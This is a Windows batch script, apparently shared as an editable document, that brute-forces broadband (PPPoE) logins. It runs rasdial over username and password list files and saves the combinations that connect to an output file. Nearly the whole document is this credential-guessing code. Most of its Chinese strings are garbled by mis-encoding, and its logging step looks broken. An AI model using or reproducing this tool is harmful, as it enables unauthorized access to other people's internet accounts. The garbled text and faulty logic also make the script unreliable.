宽带账号及密码连接检测批处理436784703-[word]可编辑

宽带账号及密码连接批处理436784703-[word]可编辑 @title @echo off & setlocal enabledelayedexpansion set userfile=?í?øÕ˺Å.txt set passfile=?í?øÃÜÂë.txt set pppname=?í?øÁ??Ó set outfile=?É??Á??Ó.txt :choose echo.&echo ?í?øÕ˺Å??ÃÜÂëÁ??Ó?ì?âÅú??Àí echo.&echo 1 - ?í?øÕ˺Å?Ì????ÃÜÂë?ÓÎÄ?? %passfile% ÀïÌáÈ?ÖðÒ??âÊÔ echo.&echo 2 - ?í?øÃÜÂë?Ì????Õ˺Å?ÓÎÄ?? %userfile% ÀïÌáÈ?ÖðÒ??âÊÔ echo.&echo 3 - ?í?øÕ˺Å??ÃÜÂë?ù?ÓÒÔÉÏÎÄ??ÀïÌáÈ?ÖðÒ??âÊÔ echo.&echo 0 - ÍË?öÅú??Àí echo.&set /p choose=ÇëÊäÈëÄãÑ?ÔñµÄÐòºÅ???Ø?µ?º if %choose% equ 0 exit if %choose% equ 1 goto :user1passx if %choose% equ 2 goto :pass1userx if %choose% equ 3 goto :allx cls&echo.&echo ÊäÈëµÄÐòºÅÓÐÎó??ÇëÖØÐÂÑ?Ôñ??&set choose=&goto :choose :user1passx set user=?í?ø?Ì??Õ˺Šcall :check0 for /f "tokens=*" %%a in ('type "%passfile%"') do (rasdial "%pppname%" %user% %%a >nul & call :check1) goto :exit :pass1userx set pass=?í?ø?Ì??ÃÜÂë call :check0 for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul & call :check1) goto :exit :allx call :check0 for /f "tokens=*" %%a in ('type "%userfile%"') do ( for /f "tokens=*" %%b in ('type "%passfile%"') do (rasdial "%pppname%" %%a %%b >nul & call :check1) ) goto :exit :exit rasdial "%pppname%" %user% %pass% >nul echo.&echo ËùÓÐ?Ù×?Íê?Ï????ÈÎÒâ?üÍË?ö&pause>nul&exit :check0 rasdial|find "ÒÑÁ??Ó">nul if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof) goto :eof :check1 rasdial|find "ÒÑÁ??Ó">nul if %errorlevel% equ 0 echo>>"%outfile%" %user%=%pass% rasdial "%%a" /d >nul goto :eof